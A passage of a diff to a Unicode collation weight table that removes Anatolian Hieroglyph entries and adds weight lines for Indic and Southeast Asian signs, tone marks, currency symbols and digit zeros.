HIEROGLYPH A433 -145E7 ; [.5444.0020.0002] # ANATOLIAN HIEROGLYPH A434 -145E8 ; [.5445.0020.0002] # ANATOLIAN HIEROGLYPH A435 -145E9 ; [.5446.0020.0002] # ANATOLIAN HIEROGLYPH A436 -145EA ; [.5447.0020.0002] # ANATOLIAN HIEROGLYPH A437 -145EB ; [.5448.0020.0002] # ANATOLIAN HIEROGLYPH A438 -145EC ; [.5449.0020.0002] # ANATOLIAN HIEROGLYPH A439 -145ED ; [.544A.0020.0002] # ANATOLIAN HIEROGLYPH A440 -145EE ; [.544B.0020.0002] # ANATOLIAN HIEROGLYPH A441 -145EF ; [.544C.0020.0002] # ANATOLIAN HIEROGLYPH A442 -145F0 ; [.544D.0020.0002] # ANATOLIAN HIEROGLYPH A443 -145F1 ; [.544E.0020.0002] # ANATOLIAN HIEROGLYPH A444 -145F2 ; [.544F.0020.0002] # ANATOLIAN HIEROGLYPH A445 -145F3 ; [.5450.0020.0002] # ANATOLIAN HIEROGLYPH A446 -145F4 ; [.5451.0020.0002] # ANATOLIAN HIEROGLYPH A447 -145F5 ; [.5452.0020.0002] # ANATOLIAN HIEROGLYPH A448 -145F6 ; [.5453.0020.0002] # ANATOLIAN HIEROGLYPH A449 -145F7 ; [.5454.0020.0002] # ANATOLIAN HIEROGLYPH A450 -145F8 ; [.5455.0020.0002] # ANATOLIAN HIEROGLYPH A450A -145F9 ; [.5456.0020.0002] # ANATOLIAN HIEROGLYPH A451 -145FA ; [.5457.0020.0002] # ANATOLIAN HIEROGLYPH A452 -145FB ; [.5458.0020.0002] # ANATOLIAN HIEROGLYPH A453 -145FC ; [.5459.0020.0002] # ANATOLIAN HIEROGLYPH A454 -145FD ; [.545A.0020.0002] # ANATOLIAN HIEROGLYPH A455 -145FE ; [.545B.0020.0002] # ANATOLIAN HIEROGLYPH A456 -145FF ; [.545C.0020.0002] # ANATOLIAN HIEROGLYPH A457 -14600 ; [.545D.0020.0002] # ANATOLIAN HIEROGLYPH A457A -14601 ; [.545E.0020.0002] # ANATOLIAN HIEROGLYPH A458 -14602 ; [.545F.0020.0002] # ANATOLIAN HIEROGLYPH A459 -14603 ; [.5460.0020.0002] # ANATOLIAN HIEROGLYPH A460 -14604 ; [.5461.0020.0002] # ANATOLIAN HIEROGLYPH A461 -14605 ; [.5462.0020.0002] # ANATOLIAN HIEROGLYPH A462 -14606 ; [.5463.0020.0002] # ANATOLIAN HIEROGLYPH A463 -14607 ; [.5464.0020.0002] # ANATOLIAN HIEROGLYPH A464 -14608 ; [.5465.0020.0002] # ANATOLIAN HIEROGLYPH A465 -14609 ; [.5466.0020.0002] # ANATOLIAN HIEROGLYPH A466 -1460A ; [.5467.0020.0002] # ANATOLIAN HIEROGLYPH A467 -1460B ; [.5468.0020.0002] # ANATOLIAN HIEROGLYPH A468 -1460C ; [.5469.0020.0002] # ANATOLIAN HIEROGLYPH A469 -1460D ; [.546A.0020.0002] # ANATOLIAN HIEROGLYPH A470 -1460E ; [.546B.0020.0002] # ANATOLIAN HIEROGLYPH A471 -1460F ; [.546C.0020.0002] # ANATOLIAN HIEROGLYPH A472 -14610 ; [.546D.0020.0002] # ANATOLIAN HIEROGLYPH A473 -14611 ; [.546E.0020.0002] # ANATOLIAN HIEROGLYPH A474 -14612 ; [.546F.0020.0002] # ANATOLIAN HIEROGLYPH A475 -14613 ; [.5470.0020.0002] # ANATOLIAN HIEROGLYPH A476 -14614 ; [.5471.0020.0002] # ANATOLIAN HIEROGLYPH A477 -14615 ; [.5472.0020.0002] # ANATOLIAN HIEROGLYPH A478 -14616 ; [.5473.0020.0002] # ANATOLIAN HIEROGLYPH A479 -14617 ; [.5474.0020.0002] # ANATOLIAN HIEROGLYPH A480 -14618 ; [.5475.0020.0002] # ANATOLIAN HIEROGLYPH A481 -14619 ; [.5476.0020.0002] # ANATOLIAN HIEROGLYPH A482 -1461A ; [.5477.0020.0002] # ANATOLIAN HIEROGLYPH A483 -1461B ; [.5478.0020.0002] # ANATOLIAN HIEROGLYPH A484 -1461C ; [.5479.0020.0002] # ANATOLIAN HIEROGLYPH A485 -1461D ; [.547A.0020.0002] # ANATOLIAN HIEROGLYPH A486 -1461E ; [.547B.0020.0002] # ANATOLIAN HIEROGLYPH A487 -1461F ; [.547C.0020.0002] # ANATOLIAN HIEROGLYPH A488 -14620 ; [.547D.0020.0002] # ANATOLIAN HIEROGLYPH A489 -14621 ; [.547E.0020.0002] # ANATOLIAN HIEROGLYPH A490 -14622 ; [.547F.0020.0002] # ANATOLIAN HIEROGLYPH A491 -14623 ; [.5480.0020.0002] # ANATOLIAN HIEROGLYPH A492 -14624 ; [.5481.0020.0002] # ANATOLIAN HIEROGLYPH A493 -14625 ; [.5482.0020.0002] # ANATOLIAN HIEROGLYPH A494 -14626 ; [.5483.0020.0002] # ANATOLIAN HIEROGLYPH A495 -14627 ; [.5484.0020.0002] # ANATOLIAN HIEROGLYPH A496 -14628 ; [.5485.0020.0002] # ANATOLIAN HIEROGLYPH A497 -14629 ; [.5486.0020.0002] # ANATOLIAN HIEROGLYPH A501 -1462A ; [.5487.0020.0002] # ANATOLIAN HIEROGLYPH A502 -1462B ; [.5488.0020.0002] # ANATOLIAN HIEROGLYPH A503 -1462C ; [.5489.0020.0002] # ANATOLIAN HIEROGLYPH A504 -1462D ; [.548A.0020.0002] # ANATOLIAN HIEROGLYPH A505 -1462E ; [.548B.0020.0002] # ANATOLIAN HIEROGLYPH A506 -1462F ; [.548C.0020.0002] # ANATOLIAN HIEROGLYPH A507 -14630 ; [.548D.0020.0002] # ANATOLIAN HIEROGLYPH A508 -14631 ; [.548E.0020.0002] # ANATOLIAN HIEROGLYPH A509 -14632 ; [.548F.0020.0002] # ANATOLIAN HIEROGLYPH A510 -14633 ; [.5490.0020.0002] # ANATOLIAN HIEROGLYPH A511 -14634 ; [.5491.0020.0002] # ANATOLIAN HIEROGLYPH A512 -14635 ; [.5492.0020.0002] # ANATOLIAN HIEROGLYPH A513 -14636 ; [.5493.0020.0002] # ANATOLIAN HIEROGLYPH A514 -14637 ; [.5494.0020.0002] # ANATOLIAN HIEROGLYPH A515 -14638 ; [.5495.0020.0002] # ANATOLIAN HIEROGLYPH A516 -14639 ; [.5496.0020.0002] # ANATOLIAN HIEROGLYPH A517 -1463A ; [.5497.0020.0002] # ANATOLIAN HIEROGLYPH A518 -1463B ; [.5498.0020.0002] # ANATOLIAN HIEROGLYPH A519 -1463C ; [.5499.0020.0002] # ANATOLIAN HIEROGLYPH A520 -1463D ; [.549A.0020.0002] # ANATOLIAN HIEROGLYPH A521 -1463E ; [.549B.0020.0002] # ANATOLIAN HIEROGLYPH A522 -1463F ; [.549C.0020.0002] # ANATOLIAN HIEROGLYPH A523 -14640 ; [.549D.0020.0002] # ANATOLIAN HIEROGLYPH A524 -14641 ; [.549E.0020.0002] # ANATOLIAN HIEROGLYPH A525 -14642 ; [.549F.0020.0002] # ANATOLIAN HIEROGLYPH A526 -14643 ; [.54A0.0020.0002] # ANATOLIAN HIEROGLYPH A527 -14644 ; [.54A1.0020.0002] # ANATOLIAN HIEROGLYPH A528 -14645 ; [.54A2.0020.0002] # ANATOLIAN HIEROGLYPH A529 -14646 ; [.54A3.0020.0002] # ANATOLIAN HIEROGLYPH A530 +093C ; [.0000.00BD.0002] # DEVANAGARI SIGN NUKTA +09BC ; [.0000.00BD.0002] # BENGALI SIGN NUKTA +0A3C ; [.0000.00BD.0002] # GURMUKHI SIGN NUKTA +0ABC ; [.0000.00BD.0002] # GUJARATI SIGN NUKTA +0B3C ; [.0000.00BD.0002] # ORIYA SIGN NUKTA +0CBC ; [.0000.00BD.0002] # KANNADA SIGN NUKTA +1B34 ; [.0000.00BD.0002] # BALINESE SIGN REREKAN +1BE6 ; [.0000.00BD.0002] # BATAK SIGN TOMPI +1C37 ; [.0000.00BD.0002] # LEPCHA SIGN NUKTA +A9B3 ; [.0000.00BD.0002] # JAVANESE SIGN CECAK TELU +110BA ; [.0000.00BD.0002] # KAITHI SIGN NUKTA +11173 ; [.0000.00BD.0002] # MAHAJANI SIGN NUKTA +111CA ; [.0000.00BD.0002] # SHARADA SIGN NUKTA +11236 ; [.0000.00BD.0002] # KHOJKI SIGN NUKTA +112E9 ; [.0000.00BD.0002] # KHUDAWADI SIGN NUKTA +1133C ; [.0000.00BD.0002] # GRANTHA SIGN NUKTA +114C3 ; [.0000.00BD.0002] # TIRHUTA SIGN NUKTA +115C0 ; [.0000.00BD.0002] # SIDDHAM SIGN NUKTA +116B7 ; [.0000.00BD.0002] # TAKRI SIGN NUKTA +0900 ; [.0000.00BE.0002] # DEVANAGARI SIGN INVERTED CANDRABINDU +0901 ; [.0000.00BE.0002] # DEVANAGARI SIGN CANDRABINDU +0981 ; [.0000.00BE.0002] # BENGALI SIGN CANDRABINDU +0A01 ; [.0000.00BE.0002] # GURMUKHI SIGN ADAK BINDI +0A81 ; [.0000.00BE.0002] # GUJARATI SIGN CANDRABINDU +0B01 ; [.0000.00BE.0002] # ORIYA SIGN CANDRABINDU +0C00 ; [.0000.00BE.0002] # TELUGU SIGN COMBINING CANDRABINDU ABOVE +0C01 ; [.0000.00BE.0002] # TELUGU SIGN CANDRABINDU +0C81 ; [.0000.00BE.0002] # KANNADA SIGN CANDRABINDU +0D01 ; [.0000.00BE.0002] # MALAYALAM SIGN CANDRABINDU +1B00 ; [.0000.00BE.0002] # BALINESE SIGN ULU RICEM +1B01 ; [.0000.00BE.0002] # BALINESE SIGN ULU CANDRA +A980 ; [.0000.00BE.0002] # JAVANESE SIGN PANYANGGA +11000 ; [.0000.00BE.0002] # BRAHMI SIGN CANDRABINDU +11080 ; [.0000.00BE.0002] # KAITHI SIGN CANDRABINDU +11100 ; [.0000.00BE.0002] # CHAKMA SIGN CANDRABINDU +11180 ; [.0000.00BE.0002] # SHARADA SIGN CANDRABINDU +11301 ; [.0000.00BE.0002] # GRANTHA SIGN CANDRABINDU +114BF ; [.0000.00BE.0002] # TIRHUTA SIGN CANDRABINDU +115BC ; [.0000.00BE.0002] # SIDDHAM SIGN CANDRABINDU +11640 ; [.0000.00BE.0002] # MODI SIGN ARDHACANDRA +0902 ; [.0000.00BF.0002] # DEVANAGARI SIGN ANUSVARA +0982 ; [.0000.00BF.0002] # BENGALI SIGN ANUSVARA +0A02 ; [.0000.00BF.0002] # GURMUKHI SIGN BINDI +0A82 ; [.0000.00BF.0002] # GUJARATI SIGN ANUSVARA +0B02 ; [.0000.00BF.0002] # ORIYA SIGN ANUSVARA +0B82 ; [.0000.00BF.0002] # TAMIL SIGN ANUSVARA +0C02 ; [.0000.00BF.0002] # TELUGU SIGN ANUSVARA +0C82 ; [.0000.00BF.0002] # KANNADA SIGN ANUSVARA +0D02 ; [.0000.00BF.0002] # MALAYALAM SIGN ANUSVARA +0D82 ; [.0000.00BF.0002] # SINHALA SIGN ANUSVARAYA +0F7E ; [.0000.00BF.0002] # TIBETAN SIGN RJES SU NGA RO +1036 ; [.0000.00BF.0002] # MYANMAR SIGN ANUSVARA +17C6 ; [.0000.00BF.0002] # KHMER SIGN NIKAHIT +1A74 ; [.0000.00BF.0002] # TAI THAM SIGN MAI KANG +1B02 ; [.0000.00BF.0002] # BALINESE SIGN CECEK +1B80 ; [.0000.00BF.0002] # SUNDANESE SIGN PANYECEK +1CED ; [.0000.00BF.0002] # VEDIC SIGN TIRYAK +A80B ; [.0000.00BF.0002] # SYLOTI NAGRI SIGN ANUSVARA +A880 ; [.0000.00BF.0002] # SAURASHTRA SIGN ANUSVARA +A981 ; [.0000.00BF.0002] # JAVANESE SIGN CECAK +10A0E ; [.0000.00BF.0002] # KHAROSHTHI SIGN ANUSVARA +11001 ; [.0000.00BF.0002] # BRAHMI SIGN ANUSVARA +11081 ; [.0000.00BF.0002] # KAITHI SIGN ANUSVARA +11101 ; [.0000.00BF.0002] # CHAKMA SIGN ANUSVARA +11181 ; [.0000.00BF.0002] # SHARADA SIGN ANUSVARA +11234 ; [.0000.00BF.0002] # KHOJKI SIGN ANUSVARA +112DF ; [.0000.00BF.0002] # KHUDAWADI SIGN ANUSVARA +11300 ; [.0000.00BF.0002] # GRANTHA SIGN COMBINING ANUSVARA ABOVE +11302 ; [.0000.00BF.0002] # GRANTHA SIGN ANUSVARA +114C0 ; [.0000.00BF.0002] # TIRHUTA SIGN ANUSVARA +115BD ; [.0000.00BF.0002] # SIDDHAM SIGN ANUSVARA +1163D ; [.0000.00BF.0002] # MODI SIGN ANUSVARA +116AB ; [.0000.00BF.0002] # TAKRI SIGN ANUSVARA +0903 ; [.0000.00C0.0002] # DEVANAGARI SIGN VISARGA +0983 ; [.0000.00C0.0002] # BENGALI SIGN VISARGA +0A03 ; [.0000.00C0.0002] # GURMUKHI SIGN VISARGA +0A83 ; [.0000.00C0.0002] # GUJARATI SIGN VISARGA +0B03 ; [.0000.00C0.0002] # ORIYA SIGN VISARGA +0C03 ; [.0000.00C0.0002] # TELUGU SIGN VISARGA +0C83 ; [.0000.00C0.0002] # KANNADA SIGN VISARGA +0D03 ; [.0000.00C0.0002] # MALAYALAM SIGN VISARGA +0D83 ; [.0000.00C0.0002] # SINHALA SIGN VISARGAYA +0F7F ; [.0000.00C0.0002] # TIBETAN SIGN RNAM BCAD +1038 ; [.0000.00C0.0002] # MYANMAR SIGN VISARGA +17C7 ; [.0000.00C0.0002] # KHMER SIGN REAHMUK +1B04 ; [.0000.00C0.0002] # BALINESE SIGN BISAH +1B82 ; [.0000.00C0.0002] # SUNDANESE SIGN PANGWISAD +1CF2 ; [.0000.00C0.0002] # VEDIC SIGN ARDHAVISARGA +1CF3 ; [.0000.00C0.0002] # VEDIC SIGN ROTATED ARDHAVISARGA +A881 ; [.0000.00C0.0002] # SAURASHTRA SIGN VISARGA +A983 ; [.0000.00C0.0002] # JAVANESE SIGN WIGNYAN +10A0F ; [.0000.00C0.0002] # KHAROSHTHI SIGN VISARGA +11002 ; [.0000.00C0.0002] # BRAHMI SIGN VISARGA +11082 ; [.0000.00C0.0002] # KAITHI SIGN VISARGA +11102 ; [.0000.00C0.0002] # CHAKMA SIGN VISARGA +11182 ; [.0000.00C0.0002] # SHARADA SIGN VISARGA +11303 ; [.0000.00C0.0002] # GRANTHA SIGN VISARGA +114C1 ; [.0000.00C0.0002] # TIRHUTA SIGN VISARGA +115BE ; [.0000.00C0.0002] # SIDDHAM SIGN VISARGA +1163E ; [.0000.00C0.0002] # MODI SIGN VISARGA +116AC ; [.0000.00C0.0002] # TAKRI SIGN VISARGA +0A70 ; [.0000.00C1.0002] # GURMUKHI TIPPI +0A71 ; [.0000.00C2.0002] # GURMUKHI ADDAK +1B03 ; [.0000.00C3.0002] # BALINESE SIGN SURANG +A982 ; [.0000.00C4.0002] # JAVANESE SIGN LAYAR +1B81 ; [.0000.00C5.0002] # SUNDANESE SIGN PANGLAYAR +ABEC ; [.0000.00C6.0002] # MEETEI MAYEK LUM IYEK +10A38 ; [.0000.00C7.0002] # KHAROSHTHI SIGN BAR ABOVE +10A39 ; [.0000.00C8.0002] # KHAROSHTHI SIGN CAUDA +10A3A ; [.0000.00C9.0002] # KHAROSHTHI SIGN DOT BELOW +111CB ; [.0000.00CA.0002] # SHARADA VOWEL MODIFIER MARK +111CC ; [.0000.00CB.0002] # SHARADA EXTRA SHORT VOWEL MARK +0E4E ; [.0000.00CC.0002] # THAI CHARACTER YAMAKKAN +0E47 ; [.0000.00CD.0002] # THAI CHARACTER MAITAIKHU +0E48 ; [.0000.00CE.0002] # THAI CHARACTER MAI EK +0E49 ; [.0000.00CF.0002] # THAI CHARACTER MAI THO +0E4A ; [.0000.00D0.0002] # THAI CHARACTER MAI TRI +0E4B ; [.0000.00D1.0002] # THAI CHARACTER MAI CHATTAWA +0E4C ; [.0000.00D2.0002] # THAI CHARACTER THANTHAKHAT +0E4D ; [.0000.00D3.0002] # THAI CHARACTER NIKHAHIT +0EC8 ; [.0000.00D4.0002] # LAO TONE MAI EK +0EC9 ; [.0000.00D5.0002] # LAO TONE MAI THO +0ECA ; [.0000.00D6.0002] # LAO TONE MAI TI +0ECB ; [.0000.00D7.0002] # LAO TONE MAI CATAWA +0ECC ; [.0000.00D8.0002] # LAO CANCELLATION MARK +0ECD ; [.0000.00D9.0002] # LAO NIGGAHITA +AABF ; [.0000.00DA.0002] # TAI VIET TONE MAI EK +AAC1 ; [.0000.00DB.0002] # TAI VIET TONE MAI THO +0F39 ; [.0000.00DC.0002] # TIBETAN MARK TSA -PHRU +A92B ; [.0000.00DD.0002] # KAYAH LI TONE PLOPHU +A92C ; [.0000.00DE.0002] # KAYAH LI TONE CALYA +A92D ; [.0000.00DF.0002] # KAYAH LI TONE CALYA PLOPHU +1037 ; [.0000.00E0.0002] # MYANMAR SIGN DOT BELOW +17C8 ; [.0000.00E1.0002] # KHMER SIGN YUUKALEAPINTU +17C9 ; [.0000.00E2.0002] # KHMER SIGN MUUSIKATOAN +17CA ; [.0000.00E3.0002] # KHMER SIGN TRIISAP +1A75 ; [.0000.00E4.0002] # TAI THAM SIGN TONE-1 +1A76 ; [.0000.00E5.0002] # TAI THAM SIGN TONE-2 +1A77 ; [.0000.00E6.0002] # TAI THAM SIGN KHUEN TONE-3 +1A78 ; [.0000.00E7.0002] # TAI THAM SIGN KHUEN TONE-4 +1A79 ; [.0000.00E8.0002] # TAI THAM SIGN KHUEN TONE-5 +1A7A ; [.0000.00E9.0002] # TAI THAM SIGN RA HAAM +1A7B ; [.0000.00EA.0002] # TAI THAM SIGN MAI SAM +1A7C ; [.0000.00EB.0002] # TAI THAM SIGN KHUEN-LUE KARAN +1939 ; [.0000.00EC.0002] # LIMBU SIGN MUKPHRENG +193A ; [.0000.00ED.0002] # LIMBU SIGN KEMPHRENG +193B ; [.0000.00EE.0002] # LIMBU SIGN SA-I +16B30 ; [.0000.00EF.0002] # PAHAWH HMONG MARK CIM TUB +16B31 ; [.0000.00F0.0002] # PAHAWH HMONG MARK CIM SO +16B32 ; [.0000.00F1.0002] # PAHAWH HMONG MARK CIM KES +16B33 ; [.0000.00F2.0002] # PAHAWH HMONG MARK CIM KHAV +16B34 ; [.0000.00F3.0002] # PAHAWH HMONG MARK CIM SUAM +16B35 ; [.0000.00F4.0002] # PAHAWH HMONG MARK CIM HOM +16B36 ; [.0000.00F5.0002] # PAHAWH HMONG MARK CIM TAUM +302A ; [.0000.00F6.0002] # IDEOGRAPHIC LEVEL TONE MARK +302B ; [.0000.00F7.0002] # IDEOGRAPHIC RISING TONE MARK +302C ; [.0000.00F8.0002] # IDEOGRAPHIC DEPARTING TONE MARK +302D ; [.0000.00F9.0002] # IDEOGRAPHIC ENTERING TONE MARK +302E ; [.0000.00FA.0002] # HANGUL SINGLE DOT TONE MARK +302F ; [.0000.00FB.0002] # HANGUL DOUBLE DOT TONE MARK +20D0 ; [.0000.00FC.0002] # COMBINING LEFT HARPOON ABOVE +20D1 ; [.0000.00FD.0002] # COMBINING RIGHT HARPOON ABOVE +20D2 ; [.0000.00FE.0002] # COMBINING LONG VERTICAL LINE OVERLAY +20D3 ; [.0000.00FE.0002] # COMBINING SHORT VERTICAL LINE OVERLAY +20D4 ; [.0000.00FF.0002] # COMBINING ANTICLOCKWISE ARROW ABOVE +20D5 ; [.0000.0100.0002] # COMBINING CLOCKWISE ARROW ABOVE +20D6 ; [.0000.0101.0002] # COMBINING LEFT ARROW ABOVE +20D7 ; [.0000.0102.0002] # COMBINING RIGHT ARROW ABOVE +20DB ; [.0000.0103.0002] # COMBINING THREE DOTS ABOVE +20DC ; [.0000.0104.0002] # COMBINING FOUR DOTS ABOVE +20E1 ; [.0000.0105.0002] # COMBINING LEFT RIGHT ARROW ABOVE +20E6 ; [.0000.0106.0002] # COMBINING DOUBLE VERTICAL STROKE OVERLAY +20E7 ; [.0000.0107.0002] # COMBINING ANNUITY SYMBOL +20E8 ; [.0000.0108.0002] # COMBINING TRIPLE UNDERDOT +20E9 ; [.0000.0109.0002] # COMBINING WIDE BRIDGE ABOVE +101FD ; [.0000.010A.0002] # PHAISTOS DISC SIGN COMBINING OBLIQUE STROKE +02D0 ; [.1B74.0020.0002] # MODIFIER LETTER TRIANGULAR COLON +02D1 ; [.1B75.0020.0002] # MODIFIER LETTER HALF TRIANGULAR COLON +0971 ; [.1B76.0020.0002] # DEVANAGARI SIGN HIGH SPACING DOT +0E46 ; [.1B77.0020.0002] # THAI CHARACTER MAIYAMOK +0EC6 ; [.1B78.0020.0002] # LAO KO LA +17D7 ; [.1B79.0020.0002] # KHMER SIGN LEK TOO +1AA7 ; [.1B7A.0020.0002] # TAI THAM SIGN MAI YAMOK +A9CF ; [.1B7B.0020.0002] # JAVANESE PANGRANGKEP +A9E6 ; [.1B7C.0020.0002] # MYANMAR MODIFIER LETTER SHAN REDUPLICATION +AA70 ; [.1B7D.0020.0002] # MYANMAR MODIFIER LETTER KHAMTI REDUPLICATION +AADD ; [.1B7E.0020.0002] # TAI VIET SYMBOL SAM +AAF3 ; [.1B7F.0020.0002] # MEETEI MAYEK SYLLABLE REPETITION MARK +AAF4 ; [.1B80.0020.0002] # MEETEI MAYEK WORD REPETITION MARK +16B42 ; [.1B81.0020.0002] # PAHAWH HMONG SIGN VOS NRUA +16B43 ; [.1B82.0020.0002] # PAHAWH HMONG SIGN IB YAM +3005 ; [.1B83.0020.0002] # IDEOGRAPHIC ITERATION MARK +303B ; [.1B84.0020.0002] # VERTICAL IDEOGRAPHIC ITERATION MARK +3031 ; [.1B85.0020.0002] # VERTICAL KANA REPEAT MARK +3032 ; [.1B85.0020.0002][.0000.0037.0002] # VERTICAL KANA REPEAT WITH VOICED SOUND MARK +3033 ; [.1B86.0020.0002] # VERTICAL KANA REPEAT MARK UPPER HALF +3034 ; [.1B86.0020.0002][.0000.0037.0002] # VERTICAL KANA REPEAT WITH VOICED SOUND MARK UPPER HALF +3035 ; [.1B87.0020.0002] # VERTICAL KANA REPEAT MARK LOWER HALF +309D ; [.1B88.0020.0002] # HIRAGANA ITERATION MARK +309E ; [.1B88.0020.0002][.0000.0037.0002] # HIRAGANA VOICED ITERATION MARK +30FC ; [.1B89.0020.0002] # KATAKANA-HIRAGANA PROLONGED SOUND MARK +FF70 ; [.1B89.0020.0012] # HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK +30FD ; [.1B8A.0020.0002] # KATAKANA ITERATION MARK +30FE ; [.1B8A.0020.0002][.0000.0037.0002] # KATAKANA VOICED ITERATION MARK +00A4 ; [.1B8B.0020.0002] # CURRENCY SIGN +00A2 ; [.1B8C.0020.0002] # CENT SIGN +FFE0 ; [.1B8C.0020.0003] # FULLWIDTH CENT SIGN +0024 ; [.1B8D.0020.0002] # DOLLAR SIGN +FF04 ; [.1B8D.0020.0003] # FULLWIDTH DOLLAR SIGN +FE69 ; [.1B8D.0020.000F] # SMALL DOLLAR SIGN +00A3 ; [.1B8E.0020.0002] # POUND SIGN +FFE1 ; [.1B8E.0020.0003] # FULLWIDTH POUND SIGN +00A5 ; [.1B8F.0020.0002] # YEN SIGN +FFE5 ; [.1B8F.0020.0003] # FULLWIDTH YEN SIGN +058F ; [.1B90.0020.0002] # ARMENIAN DRAM SIGN +060B ; [.1B91.0020.0002] # AFGHANI SIGN +09F2 ; [.1B92.0020.0002] # BENGALI RUPEE MARK +09F3 ; [.1B93.0020.0002] # BENGALI RUPEE SIGN +09FB ; [.1B94.0020.0002] # BENGALI GANDA MARK +0AF1 ; [.1B95.0020.0002] # GUJARATI RUPEE SIGN +A838 ; [.1B96.0020.0002] # NORTH INDIC RUPEE MARK +0BF9 ; [.1B97.0020.0002] # TAMIL RUPEE SIGN +0E3F ; [.1B98.0020.0002] # THAI CURRENCY SYMBOL BAHT +17DB ; [.1B99.0020.0002] # KHMER CURRENCY SYMBOL RIEL +20A0 ; [.1B9A.0020.0002] # EURO-CURRENCY SIGN +20A1 ; [.1B9B.0020.0002] # COLON SIGN +20A2 ; [.1B9C.0020.0002] # CRUZEIRO SIGN +20A3 ; [.1B9D.0020.0002] # FRENCH FRANC SIGN +20A4 ; [.1B9E.0020.0002] # LIRA SIGN +20A5 ; [.1B9F.0020.0002] # MILL SIGN +20A6 ; [.1BA0.0020.0002] # NAIRA SIGN +20A7 ; [.1BA1.0020.0002] # PESETA SIGN +20A9 ; [.1BA2.0020.0002] # WON SIGN +FFE6 ; [.1BA2.0020.0003] # FULLWIDTH WON SIGN +20AA ; [.1BA3.0020.0002] # NEW SHEQEL SIGN +20AB ; [.1BA4.0020.0002] # DONG SIGN +20AC ; [.1BA5.0020.0002] # EURO SIGN +20AD ; [.1BA6.0020.0002] # KIP SIGN +20AE ; [.1BA7.0020.0002] # TUGRIK SIGN +20AF ; [.1BA8.0020.0002] # DRACHMA SIGN +20B0 ; [.1BA9.0020.0002] # GERMAN PENNY SIGN +20B1 ; [.1BAA.0020.0002] # PESO SIGN +20B2 ; [.1BAB.0020.0002] # GUARANI SIGN +20B3 ; [.1BAC.0020.0002] # AUSTRAL SIGN +20B4 ; [.1BAD.0020.0002] # HRYVNIA SIGN +20B5 ; [.1BAE.0020.0002] # CEDI SIGN +20B6 ; [.1BAF.0020.0002] # LIVRE TOURNOIS SIGN +20B7 ; [.1BB0.0020.0002] # SPESMILO SIGN +20B8 ; [.1BB1.0020.0002] # TENGE SIGN +20B9 ; [.1BB2.0020.0002] # INDIAN RUPEE SIGN +20BA ; [.1BB3.0020.0002] # TURKISH LIRA SIGN +20BB ; [.1BB4.0020.0002] # NORDIC MARK SIGN +20BC ; [.1BB5.0020.0002] # MANAT SIGN +20BD ; [.1BB6.0020.0002] # RUBLE SIGN +20BE ; [.1BB7.0020.0002] # LARI SIGN +0030 ; [.1BB8.0020.0002] # DIGIT ZERO +0660 ; [.1BB8.0020.0002] # ARABIC-INDIC DIGIT ZERO +06F0 ; [.1BB8.0020.0002] # EXTENDED ARABIC-INDIC DIGIT ZERO +07C0 ; [.1BB8.0020.0002] # NKO DIGIT ZERO +0966 ; [.1BB8.0020.0002] # DEVANAGARI DIGIT ZERO +09E6 ; [.1BB8.0020.0002] # BENGALI DIGIT ZERO +0A66 ; [.1BB8.0020.0002] # GURMUKHI DIGIT ZERO +0AE6 ; [.1BB8.0020.0002] # GUJARATI DIGIT ZERO +0B66 ; [.1BB8.0020.0002] # ORIYA DIGIT ZERO +0BE6 ; [.1BB8.0020.0002] # TAMIL DIGIT ZERO +0C66 ; [.1BB8.0020.0002] # TELUGU DIGIT ZERO +0C78 ; [.1BB8.0020.0002] # TELUGU FRACTION DIGIT ZERO FOR ODD POWERS OF FOUR +0CE6 ; [.1BB8.0020.0002] # KANNADA DIGIT ZERO +0D66 ; [.1BB8.0020.0002] # MALAYALAM DIGIT ZERO +0DE6 ; [.1BB8.0020.0002] # SINHALA LITH DIGIT ZERO +0E50 ; [.1BB8.0020.0002] # THAI DIGIT ZERO +0ED0 ; [.1BB8.0020.0002] # LAO DIGIT ZERO +0F20 ; [.1BB8.0020.0002] # TIBETAN DIGIT ZERO +1040 ; [.1BB8.0020.0002] # MYANMAR DIGIT ZERO +1090 ; [.1BB8.0020.0002] # MYANMAR SHAN DIGIT ZERO +17E0 ; [.1BB8.0020.0002] # KHMER DIGIT ZERO +17F0 ; [.1BB8.0020.0002] # KHMER SYMBOL LEK ATTAK SON +1810 ; [.1BB8.0020.0002] # MONGOLIAN DIGIT ZERO +1946 ; [.1BB8.0020.0002] # LIMBU DIGIT ZERO +19D0 ; [.1BB8.0020.0002] # NEW TAI LUE DIGIT ZERO +1A80 ; [.1BB8.0020.0002] # TAI THAM HORA DIGIT ZERO +1A90 ; [.1BB8.0020.0002] # TAI THAM THAM DIGIT ZERO +1B50 ; [.1BB8.0020.0002] # BALINESE DIGIT ZERO +1BB0 ; [.1BB8.0020.0002] # SUNDANESE DIGIT ZERO +1C40 ; [.1BB8.0020.0002] # LEPCHA DIGIT ZERO +1C50 ; [.1BB8.0020.0002] # OL CHIKI DIGIT ZERO +3007 ; [.1BB8.0020.0002] # IDEOGRAPHIC NUMBER ZERO +A620 ; [.1BB8.0020.0002] # VAI DIGIT ZERO +A8D0 ; [.1BB8.0020.0002] # SAURASHTRA DIGIT ZERO +A900 ; [.1BB8.0020.0002] # KAYAH LI DIGIT ZERO +A9D0 ; [.1BB8.0020.0002] # JAVANESE DIGIT ZERO +A9F0 ; [.1BB8.0020.0002] # MYANMAR TAI LAING DIGIT ZERO +AA50 ; [.1BB8.0020.0002] # CHAM DIGIT ZERO +ABF0 ; [.1BB8.0020.0002] # MEETEI MAYEK DIGIT ZERO +1018A ; [.1BB8.0020.0002] # GREEK ZERO SIGN +104A0 ; [.1BB8.0020.0002] # OSMANYA DIGIT ZERO +11066 ; [.1BB8.0020.0002] # BRAHMI DIGIT ZERO +110F0 ; [.1BB8.0020.0002] # SORA SOMPENG DIGIT ZERO +11136 ; [.1BB8.0020.0002] # CHAKMA DIGIT ZERO +111D0 ; [.1BB8.0020.0002] # SHARADA DIGIT ZERO +112F0 ; [.1BB8.0020.0002] # KHUDAWADI DIGIT ZERO +114D0 ; [.1BB8.0020.0002] # TIRHUTA DIGIT ZERO +11650 ; [.1BB8.0020.0002] # MODI DIGIT ZERO +116C0 ; [.1BB8.0020.0002] # TAKRI DIGIT ZERO +11730 ; [.1BB8.0020.0002] # AHOM DIGIT ZERO +118E0 ; [.1BB8.0020.0002] # WARANG CITI DIGIT ZERO +16A60 ; [.1BB8.0020.0002] # MRO DIGIT ZERO +16B50 ; [.1BB8.0020.0002] # PAHAWH HMONG DIGIT ZERO +FF10 ; [.1BB8.0020.0003] # FULLWIDTH DIGIT ZERO +0F33 ; [.1BB8.0020.0004] # TIBETAN DIGIT HALF ZERO +1F100 ; 